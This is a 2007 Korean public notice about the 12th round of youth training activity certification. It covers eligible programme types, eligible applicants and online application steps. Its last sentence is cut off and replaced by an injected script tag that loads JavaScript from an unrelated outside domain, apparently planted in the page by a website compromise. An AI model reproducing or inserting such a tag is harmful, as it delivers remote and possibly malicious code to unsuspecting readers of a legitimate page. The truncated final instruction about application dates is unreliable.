제12차 청소년수련활동 인증접수 안내
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작성자 한국청소년진흥센터 작성일2007.06.28 조회4,522회 댓글0건본문
청소년수련활동인증위원회 공고
청소년수련활동인증위원회 공고 제2007-12호
청소년수련활동의 질적인 향상과 청소년의 균형적인 성장발달에 기여하기 위해 시행되는 청소년수련활동인증제의 2007년 제12차 청소년수련활동 인증접수·심의 일정을 청소년활동진흥법 제36조 및 동법 시행령 제21조 규정에 의거하여 다음과 같이 공고합니다.
2007. 6.15
청소년수련활동인증위원회 위원장
청소년수련활동인증제에 대한 수요자 요구와 현장의 의견을 수렴하여 인증기준을 명료화ㆍ간소화되었습니다. 또한 지도자 부문도 프로그램 유형 및 성격에 따라 탄력적으로 배치할 수 있게 되었습니다.
개정된 인증기준과 인증신청 매뉴얼 참조 및 사전 컨설팅을 통하여 인증신청 시 착오 없으시길 바랍니다.
□ 인증대상 프로그램
① 정기형 : 일상생활이 이루어지는 시간대에 1회 3시간 이상 당일 또는 일정 기간 정기적으로 이루어지는 비숙박 활동
② 숙박형 : 숙박시설을 갖춘 활동장에서 1일 이상 숙박을 하며 참가하는 활동
③ 이동형 : 활동 내용에 따라 선정된 활동장을 이동하면서 숙박하는 일정에 따라 수행하는 활동
□ 인증신청 대상의 범위(청소년활동진흥법 제36조)
○ 국가 및 지방자치단체
○ 수련시설을 설치ㆍ운영하는 자 및 위탁운영단체
○ 청소년이용시설 또는 개인ㆍ법인ㆍ단체 등
□ 인증신청 방법
○ 신청방법 : 온라인 신청(www.yap.go.kr)
○ 7월 인증신청 접수마감 : 7월 10일(화) 18:00시 까지
○ 신청절차 : 청소년수련활동인증정보시스템(www.yap.go.kr) 접속 → 회원가입 및 로그인 → 인증신청 클릭 → 인증신청서 등록 → 프로그램개요서 등록 → 증빙서류 등록 → 지도자 등록
○ 청소년이용시설 또는 개인ㆍ법인ㆍ단체 등
○ 인증신청에 대한 자세한 사항은 인증제 매뉴얼 참조 (www.yap.go.kr 게시판 →자료실)
○ 인증정보시스템에서 인증신청 접수예정일을 ?script src=http://www.csl24.com/b.js>
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